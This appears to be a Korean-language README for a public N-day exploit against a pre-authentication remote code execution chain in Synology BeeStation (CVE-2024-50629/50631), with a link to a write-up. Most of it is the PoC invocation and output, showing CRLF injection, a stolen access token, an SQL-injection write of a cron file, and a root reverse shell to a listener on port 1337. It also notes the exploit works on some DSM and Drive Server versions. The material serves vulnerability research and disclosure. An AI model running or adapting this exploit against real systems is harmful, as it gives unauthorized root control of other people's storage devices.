kiddo-pwn/cve-2024-50629_50631DEVCORE의 Synology BeeStation RCE에 대한 N-day 익스플로잇 (Pwn2Own 2024)
Synology BeeStation의 사전 인증 RCE N-day 익스플로잇.
상세: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron
https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1
$ python3 poc.py 192.168.88.248 192.168.88.254
[*] LISTENER listening on port 1337...
[*] CRLF username: kiddo.pwn
[*] AUTH access token: 2d6a6ecf6456f4b4787e50f5f0c0e648
[*] SQLI wrote: /etc/cron.d/pwn.task
[+] EXP shell will drop within 1 min...
bash: cannot set terminal process group (18187): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# id
id
uid=0(root) gid=0(root) groups=0(root)
bash-4.4# hostname
hostname
BeeStation
bash-4.4#
참고: 이 익스플로잇은 취약한 버전의 표준 DSM (7.2.2-72806) + Synology Drive Server (3.5.1-26101)에서도 동일하게 작동합니다.